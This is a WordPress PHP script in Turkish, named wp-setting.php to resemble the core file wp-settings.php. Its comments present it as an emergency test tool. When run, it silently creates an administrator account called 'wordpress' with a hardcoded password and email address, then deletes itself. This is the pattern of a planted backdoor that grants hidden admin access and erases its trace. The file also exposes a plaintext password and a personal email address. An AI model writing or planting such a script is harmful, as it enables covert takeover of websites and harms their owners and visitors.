File: /usr/local/www/apache24/noexec/harzwoche/wp-setting.php
<?php
/**
* UYARI: BU BETİK SON DERECE TEHLİKELİDİR VE GÜVENLİK RİSKLERİ BARINDIRIR.
* YALNIZCA GEÇİCİ VE ACİL DURUMLARDA, TEST ORTAMLARINDA KULLANILMALIDIR.
* KULLANDIKTAN HEMEN SONRA SUNUCUDAN SİLİNDİĞİNDEN EMİN OLUN.
*/
// WordPress ortamını ve fonksiyonlarını yükle.
// Bu dosyanın WordPress ana dizininde olduğunu varsayar.
require_once('wp-load.php');
// --- DEĞİŞTİRİLECEK BİLGİLER ---
$yeni_kullanici_adi = 'wordpress'; // Yeni yöneticinin kullanıcı adı
$yeni_sifre = '159753123Sa..!!'; // Yeni yöneticinin şifresi (ÇOK GÜÇLÜ OLMALI)
$yeni_email = 'sedatgokmen22@gmail.com'; // Yeni yöneticinin e-posta adresi
// ---------------------------------
// Fonksiyonun çalışıp çalışmadığını kontrol edelim.
if ( ! function_exists( 'wp_insert_user' ) ) {
die('WordPress fonksiyonları yüklenemedi. Betiğin doğru dizinde olduğundan emin olun.');
}
// Belirtilen kullanıcı adı veya e-posta zaten var mı diye kontrol et.
if ( username_exists( $yeni_kullanici_adi ) || email_exists( $yeni_email ) ) {
echo 'Hata: Bu kullanıcı adı veya e-posta adresi zaten mevcut.';
} else {
// Kullanıcı bilgilerini bir diziye topla.
$user_data = array(
'user_login' => $yeni_kullanici_adi,
'user_pass' => $yeni_sifre,
'user_email' => $yeni_email,
'role' => 'administrator' // Rolü 'administrator' (yönetici) olarak ayarla.
);
// WordPress fonksiyonunu kullanarak kullanıcıyı veritabanına ekle.
$user_id = wp_insert_user( $user_data );
// İşlemin sonucunu kontrol et.
if ( is_wp_error( $user_id ) ) {
// Bir hata oluştuysa hatayı ekrana yazdır.
echo 'Kullanıcı oluşturulurken bir hata oluştu: ' . $user_id->get_error_message();
} else {
// Başarılı olduysa mesajı yazdır.
echo 'Yönetici kullanıcısı başarıyla oluşturuldu.';
// GÜVENLİK İÇİN BETİĞİN KENDİSİNİ SİL!
// Bu komut, bu betik dosyasını sunucudan kalıcı olarak siler.
unlink( __FILE__ );
}
}
?>